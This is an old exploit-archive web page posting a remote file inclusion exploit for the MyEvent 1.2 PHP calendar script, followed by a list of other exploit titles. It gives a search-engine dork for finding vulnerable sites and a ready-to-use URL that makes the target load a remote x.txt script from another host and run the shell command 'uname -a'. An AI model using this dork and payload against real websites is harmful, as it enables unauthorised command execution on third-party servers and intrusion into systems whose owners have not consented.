exploits , vulnerabilities , articles , MyEvent <= 1.2 (myevent_path) Remote File Inclusion Vulnerability

2006-04-18

MyEvent <= 1.2 (myevent_path) Remote File Inclusion Vulnerability

Rated as : Moderate Risk

Script : MyEvent
Version : 1.2
Risk : High
Class : Remote
Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends
Google look for :) = "MyEvent 1.2 " or
"/calendar/myevent.php" 

http://www.site.com/[path]/event.php?myevent_path=http://www.site.com/x.txt?&cmd=uname
-a 


securitydot.net - 2006-04-18

Exploits - newest 10 RSS | More

2007-06-15 57223 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 34161 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 42365 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29308 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19748 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16686 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19382 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16568 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33583 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17210 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit